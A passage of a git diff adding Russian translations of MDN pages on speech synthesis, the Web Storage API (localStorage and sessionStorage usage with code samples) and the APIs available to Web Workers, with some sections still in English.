+<p>Внутри функции <code>speak()</code> мы выполняем проверку на то, воспроизводится ли речь в данный момент, с помощью свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/speaking">SpeechSynthesis.speaking</a></code> <br>
+ Если да, то останавливаем процесс функцией <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/cancel" title="The cancel() method of the SpeechSynthesis interface removes all utterances from the utterance queue.">SpeechSynthesis.cancel()</a></code> и запускаем рекурсивно заново.</p>
+
+<p>В последней части функции мы включаем обработчик <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/onpause">SpeechSynthesisUtterance.onpause</a></code>, чтобыпоказать пример применения <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisEvent">SpeechSynthesisEvent</a></code> в различных ситуациях. Вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/pause">SpeechSynthesis.pause() </a></code>возвращает сообщение с информацией о номере символа и слове, на котором была вызвана пауза.</p>
+
+<p>Наконец, мы назовем <code>blur()</code> у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.</p>
+
+<pre>function speak() {
+  if (synth.speaking) {
+    console.error('speechSynthesis.speaking');
+    synth.cancel();
+    setTimeout(speak, 300);
+  } else if (inputTxt.value !== '') {
+      const utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+      utterThis.onend = function(event) {
+        console.log('SpeechSynthesisUtterance.onend');
+      };
+
+      utterThis.onerror = function(event) {
+        console.error('SpeechSynthesisUtterance.onerror');
+      };
+      const selectedOption = voicesList.selectedOptions[0].getAttribute('data-name');
+
+      for (i = 0; i &lt; voices.length; i++) {
+        if (voices[i].name === selectedOption) {
+          utterThis.voice = voices[i];
+        }
+      }
+
+      utterThis.onpause = function(event) {
+        const char = event.utterance.text.charAt(event.charIndex);
+        console.log('Speech paused at character ' +
+          event.charIndex +
+          ' of "' +
+          event.utterance.text +
+          '", which is "' +
+          char +
+          '".'
+        );
+      };
+
+      utterThis.pitch = pitch.value;
+      utterThis.rate = rate.value;
+      synth.speak(utterThis);
+    }
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+  speak();
+  inputTxt.blur();
+};
+</pre>
+
+<h4 id="Обновление_отображаемых_значений_высоты_тона_и_скорости">Обновление отображаемых значений высоты тона и скорости</h4>
+
+<p>Последний пример кода просто обновляет значения высоты тона/скорости, отображаемые в пользовательском интерфейсе, каждый раз, когда позиции ползунка перемещаются.</p>
+
+<pre>pitch.onchange = function() {
+  pitchValue.textContent = pitch.value;
+};
+
+rate.onchange = function() {
+  rateValue.textContent = rate.value;
+};
+</pre>
diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html
new file mode 100644
index 0000000000..79f5954012
--- /dev/null
+++ b/files/ru/web/api/web_storage_api/index.html
@@ -0,0 +1,146 @@
+---
+title: Веб хранилище (API)
+slug: Web/API/Web_Storage_API
+translation_of: Web/API/Web_Storage_API
+---
+<p>Web Storage API предоставляет механизмы, при помощи которых браузеры могут безопасно хранить пары ключ/значение в более интуитивно понятной манере, чем куки (cookies).</p>
+
+<h2 id="Основы_Веб_хранилища_и_его_использование">Основы Веб хранилища и его использование</h2>
+
+<p>В основе Веб хранилища лежат два механизма: </p>
+
+<ul>
+ <li><code>хранилище сессии (sessionStorage)</code> обслуживает область хранения данных для каждого домена, доступное на протяжении сессии. (пока браузер открыт, даже в случае перезагрузки страницы) </li>
+ <li><code>локальное хранилище (localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li>
+</ul>
+
+<p>Обе функции доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект <code>Window</code>  выполняет объекты <code>WindowLocalStorage</code> и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code> и <code>sessionStorage</code>) — вызов одного из них создает представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта  - они функционируют и управляются отдельно друг от друга. </p>
+
+<div class="note">
+<p><strong>Замечание: </strong>Начиная с версии 45 Firefox, когда браузер крашится/перезагружается, объем данных, сохраненных для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание: </strong>Доступ к веб хранилищу из iFrame третьей стороны запрещен, если пользователь <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">отключил cookies третьих сторон</a> (Firefox ведёт себя так с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">версии 43</a>).</p>
+</div>
+
+<div class="note">
+<p><strong>Замечание:</strong> Web Storage это не тоже самое, что <a href="/ru/docs/Storage" title="Storage">mozStorage</a> (Mozilla's XPCOM интерфейсы для SQLite) или <a href="/ru/docs/Session_store_API" title="Session_store_API">Session store API</a> (<a href="/ru/docs/XPCOM" title="XPCOM">XPCOM</a> утилита хранения для расширений).</p>
+</div>
+
+<h2 id="Интерфейсы_Веб_хранилища">Интерфейсы Веб хранилища</h2>
+
+<dl>
+ <dt>{{domxref("Storage")}}</dt>
+ <dd>Позволяет присваивать, извлекать (читать) и удалять данные для специфического домена и типа хранилща (сессии или локального).</dd>
+ <dt>{{domxref("Window")}}</dt>
+ <dd>Web Storage API расширяет {{domxref("Window")}} объект, добавляя к нему два новых свойства  — {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} — которые предоставляют доступ к сессии текущего домена и к соответствующим локальным {{domxref("Storage")}} объектам, и {{domxref("Window.onstorage")}} обработчик событий, который срабатывает при изменении объекта хранилища (например, при сохранении нового элемента)</dd>
+ <dt>{{domxref("StorageEvent")}}</dt>
+ <dd>Событие <code title="event-storage">storage</code> срабатывает на объекте документа <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">Window</span></font> при изменении объекта хранилища.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">лендинге</a> нашего примера вы найдете элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете разные опции, страница мнгновенно меняется. В дополнение, ваш выбор сохраняется в локальном хранилище, чтобы, если вы покинете страницу и потом загрузите ее снова, ваши настройки восстановились. </p>
+
+<p>Также, мы сделали <a href="http://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a>, которая выводит информацию о хранилище, каждый раз когда срабатывает событие {{domxref("StorageEvent")}}. Загрузите эту страницу в другой вкладке браузера, затем вернитесь на лендинг и поменяйте значения цвета, шрифта или изображения и понаблюдайте, как меняется выводимая иформация.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#webstorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>У каждого браузера свои объемы localStorage и sessionStorage. Здесь об <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">ограничениях размеров хранилищ для разных браузеров</a>.</p>
+
+<div class="note">
+<p><strong>Замечание: </strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в cache директории, которая время от времени подчищается системой, в основном когда кончается место.</p>
+</div>
+
+<h2 id="Приватный_режимИнкогнито">Приватный режим/Инкогнито</h2>
+
+<p>Многие браузеры в наши дни поддерживают опции приватности, названные "Инкогнито" или "Приватный просмотр" и т.п., что позволяет быть уверенными, что следов приватной сессии не остается после закрытия браузера. Это фундаментальная несовместимость с Веб хранилищем по очевидным причинам. Таким образом, производители браузеров экспериментируют с различными сценариями, как справиться с этой несовместимостью.</p>
+
+<p>Многие браузеры выбрали стратегию, когда API хранилища доступно и кажется полностью функциональным, с одним большим отличием - все данные хранилища стираются после закрытия браузера. Для этих браузеров есть ещё другие интерпретации того, что следует делать с хранимыми данными (от обычного режима браузера). Следует ли им быть доступными в приватном режиме? Затем, есть несколько браузеров, особенно Safari, которые выбрали решение, в котором хранилище доступно, но пустое и имеет квоту 0 байт, фактически, делая невозможной запись туда данных.</p>
+
+<p>Разработчики должны быть осведомлены об этих различных реализациях и принимать их во внимание при разработке веб-сайтов, зависящих от API Веб хранилища. Для получения более подробной информации, пожалуйста, посмотрите на <a href="https://blog.whatwg.org/tag/localstorage">этот пост блога WHATWG</a>, специонально посвященный этой теме.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Использование Web Storage API</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/onfocus-html5-storage-apis-b45d92aa424b">HTML5 Storage API By Venkatraman</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html
new file mode 100644
index 0000000000..584cacef31
--- /dev/null
+++ b/files/ru/web/api/web_storage_api/using_the_web_storage_api/index.html
@@ -0,0 +1,242 @@
+---
+title: Использование Web Storage API
+slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+translation_of: Web/API/Web_Storage_API/Using_the_Web_Storage_API
+---
+<div class="summary">
+<p>Web Storage API предоставляет механизм, при помощи которого браузер может безопасно хранить пары ключей/значениий в намного более интуитивной форме, чем используя cookies. Эта статья предоставляет пошаговое руководство о том, как использовать эту простую технологию.</p>
+</div>
+
+<h2 id="Основные_концепции">Основные концепции</h2>
+
+<p>Storage объекты простые хранилища вида ключ-значение, похожие чем-то на объекты, но они остаются неизменными при загрузке страницы.  Ключи и значения всегда являются строками (обратите внимание, что числовые ключи будут автоматически конвертироваться в строку, точно также как объекты).  Вы можете получить доступ к этим значениям как в объектах, или getItem() и setItem() методами.  Все три строки ниже устанавливают одинаковое значение в  colorSetting:</p>
+
+<pre style="white-space: pre;">localStorage.colorSetting = '#a4509b';
+localStorage['colorSetting'] = '#a4509b';
+localStorage.setItem('colorSetting', '#a4509b');
+</pre>
+
+<p>В основе Веб хранилища лежат два механизма:</p>
+
+<ul>
+ <li><code>(sessionStorage)</code> обслуживает область хранения данных для каждого домена, доступное на протяжении сессии. (пока браузер открыт, даже в случае перезагрузки страницы)</li>
+ <li><code>(localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li>
+</ul>
+
+<p>Оба механизма доступны через  {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в броузерах, поддерживающих хранилища объект <code>Window</code>  выполняет объекты <code>WindowLocalStorage</code>и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code>и <code>sessionStorage</code>) — вызов одного из них создает экземляр объекта Storage, через который можно устанавливать, редактировать и удалять данные. Разные Storage объекты будут использовать <code>sessionStorage</code> и <code>localStorage поэтому они используются и управляются раздельно </code></p>
+
+<p>Так, например, изначально вызов <code>localStorage</code> в документе возвращает {{domxref("Storage")}} объект; вызов <code>sessionStorage</code> в документе возвращает другой {{domxref("Storage")}} объект. Оба объекта могут управляться одинаково, но отдельно.</p>
+
+<h2 id="Функция_обнаружения_localStorage">Функция обнаружения localStorage</h2>
+
+<p>Чтобы использовать localStorage, мы должны сперва проверить, что localStorage поддерживается и доступно в текущем браузере.</p>
+
+<h3 id="Проверка_на_наличие">Проверка на наличие</h3>
+
+<p>Браузеры поддерживаемые localStorage будут иметь свойство localStorage объекта window. Тем не менее по различным причинам, простое утверждение, что это свойство существует, может вызывать исключение. Если localStorage существует это еще не дает гарантии, что оно доступно,  т.к. различные броузеры обладают настройками которые отключают его. Поэтому браузер может поддерживать localStorage, но не делает его доступным для скриптов на странице. Один из таких примеров браузер Safari, который в Private Browsing mode возвращает нам пустой localStorage объект, фактически делая его непригодным для использования . Наша функция должна принимать во внимание этот сценарий. </p>
+
+<p>Функция, которая проверяет браузеры на подержку и доступность localStorage:</p>
+
+<pre class="brush: js notranslate">function storageAvailable(type) {
+	try {
+		var storage = window[type],
+			x = '__storage_test__';
+		storage.setItem(x, x);
+		storage.removeItem(x);
+		return true;
+	}
+	catch(e) {
+		return false;
+	}
+}</pre>
+
+<p>Вот как вы бы могли использовать это:</p>
+
+<pre class="brush: js notranslate">if (storageAvailable('localStorage')) {
+	// Yippee! We can use localStorage awesomeness
+}
+else {
+	// Too bad, no localStorage for us
+}</pre>
+
+<p>Вы можете протестировать sessionStorage вместо этого используйте <code>storageAvailable('sessionStorage')</code>Смотрите здесь <a href="https://gist.github.com/paulirish/5558557">краткую историю функции-обнаружения localStorage</a></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Чтобы проилюстрировать типичное использование Web storage, мы создали простой пример, назвав его <strong>Web Storage Demo. </strong>На <a href="https://mdn.github.io/dom-examples/web-storage/">целевой странице</a> представлены элементы управления, которые можно использовать для настройки цвета, шрифта и декоративного изображения:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9685/landing.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;">Когда вы выбираете различные опции, страница немедленно перезагружается; в дополнение, ваш выбор сохраняется в localStorage, таким образом когда вы покидаете страницу и загружаете ее снова спустя некоторое время, ваши параметры сохраняются.</p>
+
+<p>Мы также предоставили <a href="https://mdn.github.io/dom-examples/web-storage/event.html">страницу вывода событий</a> - если вы загрузите эту страницу в другой вкладке, затем сделаете некоторые изменения в landing page, вы увидите обновленную информацию о хранилище.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9687/event-output.png" style="display: block; height: 482px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Помимо просмотра примеров выше, используя приведенные ссылки выше , вы можете также <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">просмотреть исходный код</a>.</p>
+</div>
+
+<h2 id="Проверка_на_заполненность_хранилища">Проверка на заполненность хранилища</h2>
+
+<p>Начнем с main.js, мы проверим был ли уже заполнен объект Storage (т.е страница была ранее доступна)</p>
+
+<pre class="brush: js notranslate">if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+</pre>
+
+<p>Метод {{domxref("Storage.getItem()")}} используется для получения данных из storage; в этом примере мы проверяем, чтобы увидеть существует ли bgcolor; если нет, мы запускаем <code>populateStorage(), чтобы добавить значение по-умолчанию в storage. Если значения уже есть там, мы запускаем setStyles(), для обновления стиля страница с сохраненными значениями.</code><br>
+ <strong>Примечание</strong>: Вы можете также использовать {{domxref("Storage.length")}} для проверки storage object.</p>
+
+<h2 id="Получение_данных_из_Storage">Получение данных из Storage</h2>
+
+<p>Как было отмечено выше, значения хранилища могут быть извлечены используя {{domxref("Storage.getItem()")}}. В качестве аргумента функция принимает значение ключа элемента хранилища, а возвращает значение этого элемента. Например:</p>
+
+<pre class="brush: js notranslate">function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}</pre>
+
+<p>Первые три строки извлекают значения элементов локального хранилища. Next, we set the values displayed in the form elements to those values, so that they keep in sync when you reload the page. Finally, we update the styles/decorative image on the page, so your customization options come up again on reload.</p>
+
+<h2 id="Setting_values_in_storage">Setting values in storage</h2>
+
+<p>{{domxref("Storage.setItem()")}} is used both to create new data items, and (if the data item already exists) update existing values. This takes two arguments — the key of the data item to create/modify, and the value to store in it.</p>
+
+<pre class="brush: js notranslate">function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}</pre>
+
+<p>The <code>populateStorage()</code> function sets three items in local storage — the background color, font, and image path. It then runs the <code>setStyles()</code> function to update the page styles, etc.</p>
+
+<p>We've also included an <code>onchange</code> handler on each form element, so that the data and styling is updated whenever a form value is changed:</p>
+
+<pre class="brush: js notranslate">bgcolorForm.onchange = populateStorage;
+fontForm.onchange = populateStorage;
+imageForm.onchange = populateStorage;</pre>
+
+<h2 id="Responding_to_storage_changes_with_the_StorageEvent">Responding to storage changes with the StorageEvent</h2>
+
+<p>The {{domxref("StorageEvent")}} is fired whenever a change is made to the {{domxref("Storage")}} object. This won't work on the same page that is making the changes — it is really a way for other pages on the domain using the storage to sync any changes that are made. Pages on other domains can't access the same storage objects.</p>
+
+<p>On the events page (see <a href="https://github.com/mdn/web-storage-demo/blob/gh-pages/event.js">events.js</a>) the only JavaScript is as follows:</p>
+
+<pre class="brush: js notranslate">window.addEventListener('storage', function(e) {
+  document.querySelector('.my-key').textContent = e.key;
+  document.querySelector('.my-old').textContent = e.oldValue;
+  document.querySelector('.my-new').textContent = e.newValue;
+  document.querySelector('.my-url').textContent = e.url;
+  document.querySelector('.my-storage').textContent = e.storageArea;
+});</pre>
+
+<p>Here we add an event listener to the <code>window</code> object that fires when the {{domxref("Storage")}} object associated with the current origin is changed. As you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the URL of the document that changed the storage, and the storage object itself.</p>
+
+<h2 id="Удаление_записанных_данных">Удаление записанных данных</h2>
+
+<p>Web Storage также предоставляет несколько простых методов для удаления данных. Мы не используем эти методы в нашем дема, но они очень простые, чтобы добавить их в проект:</p>
+
+<ul>
+ <li>{{domxref("Storage.removeItem()")}} принимает единственный аргумент - ключ элемента данных, который вы хотите удалить - и удаляет его из объекта хранения для этого домена. </li>
+ <li>{{domxref("Storage.clear()")}} не принимает аргументов, полностью очищает объекта storage  для данного домена.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Storage')}}</td>
+   <td>{{Spec2('Web Storage')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>All browsers have varying capacity levels for both localStorage and sessionStorage. Here is a <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">detailed rundown of all the storage capacities for various browsers</a>.</p>
+
+<div class="note">
+<p><strong>Note: </strong>since iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short.</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API landing page</a></li>
+</ul>
diff --git a/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html b/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html
new file mode 100644
index 0000000000..239552d698
--- /dev/null
+++ b/files/ru/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html
@@ -0,0 +1,345 @@
+---
+title: Функции и классы доступные для Web Workers
+slug: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers
+translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers
+---
+<p>In addition to the standard <a href="/en-US/docs/Web/JavaScript">JavaScript</a> set of functions (such as {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("Object")}}, {{jsxref("JSON")}} etc), there are a variety of functions available from the DOM to workers. This article provides a list of those.</p>
+
+<p><strong>Workers run in another global context, {{domxref("DedicatedWorkerGlobalScope")}} different from the current window</strong>. By default methods and properties of {{domxref("Window")}} are not available to them, but {{domxref("DedicatedWorkerGlobalScope")}}, like <code>Window</code>, implements {{domxref("WindowTimers")}} and {{domxref("WindowBase64")}}.</p>
+
+<h2 id="Сравнение_свойств_и_методов_различных_типов_worker'ов">Сравнение свойств и методов различных типов worker'ов</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Функция</td>
+   <td class="header">Выделенные worker'ы</td>
+   <td class="header">Общие worker'ы</td>
+   <td class="header">Сервис worker'ы</td>
+   <td class="header">Chrome worker'ы {{Non-standard_inline}}</td>
+   <td class="header">Внешние worker'ы</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowBase64.atob", "atob()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowBase64.btoa", "btoa()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.clearInterval", "clearInterval()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.setInterval", "setInterval()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WindowTimers.setTimeout", "setTimeout()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("Window")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>no</td>
+  </tr>
+  <tr>
+   <td>{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
+   <td>yes, but is a no-op.</td>
+   <td>Unknown</td>
+   <td>no</td>
+  </tr>
+  <tr>
+   <td>{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}</td>
+   <td>yes, on {{domxref("DedicatedWorkerGlobalScope")}}</td>
+   <td>no</td>
+   <td>no</td>
+   <td>Unknown</td>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступное_worker'ам_API">Доступное worker'ам API</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Функция</td>
+   <td class="header">Функционал</td>
+   <td class="header">Поддержка Gecko (Firefox)</td>
+   <td class="header">Поддержка IE</td>
+   <td class="header">Поддержка Blink (Chrome and Opera)</td>
+   <td class="header">Поддержка WebKit (Safari)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("Broadcast_Channel_API","Broadcast Channel API")}}</td>
+   <td>Allows simple communication between {{glossary("browsing context", "browsing contexts")}} (that is <em>windows</em>, <em>tabs</em>, <em>frames</em>, or <em>iframes</em>) with the same {{glossary("origin")}} (usually pages from the same site).</td>
+   <td>{{ CompatGeckoDesktop(38)}}</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Cache", "Cache")}}</span></td>
+   <td>Cache API<span style="background-color: rgba(212, 221, 228, 0.14902);"> provides the ability to programmatically</span> control cache storage associated with current origin.</td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatVersionUnknown}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{ CompatChrome(43) }}</span></td>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatUnknown}}</span></td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Channel_Messaging_API", "Channel Messaging API")}}</span></td>
+   <td>Allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly via two ports.</td>
+   <td>{{ CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Console", "Console API")}}</span></td>
